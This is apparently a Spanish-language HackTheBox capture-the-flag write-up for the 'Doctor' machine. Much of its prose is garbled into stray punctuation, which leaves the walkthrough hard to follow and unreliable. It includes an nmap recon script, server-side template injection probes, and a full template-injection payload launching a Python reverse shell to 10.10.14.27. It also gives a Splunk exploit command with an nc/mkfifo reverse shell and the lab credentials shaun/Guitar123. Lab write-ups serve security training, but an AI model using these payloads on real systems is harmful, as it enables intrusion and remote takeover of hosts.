Sigo publicando soluciones enviadas para finalización de máquinas desde la plataforma HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información.
La conexión al laboratorio se realiza mediante VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información :)
Información organizacional
Recon
IP 10.10.10.209, /etc/hosts.
10.10.10.209 doctor.htb
. , - :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
.
/etc/hosts.
10.10.10.209 doctors.htb
, .
Entry Point
.
, .
.
, , XSS.
, .
, <item><title>. , .
, .
XSS, , SSTI. .
:
</title></item>{{77}}
</title></item>{{7'7'}}
</title></item>{{config.items()}}
. SSTI , :
{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}
:
import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);
. :
</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
USER
adm, . Apache pas, secret ..
Y encontramos una cadena interesante que es la contraseña del usuario.
Ahora que tenemos las credenciales, intentemos elevar los privilegios aprovechando el servicio Splunk que se ejecuta en el puerto 8089. Usaremos este exploit (https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).
python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
Y obtenemos una conexión posterior con nuestro oyente.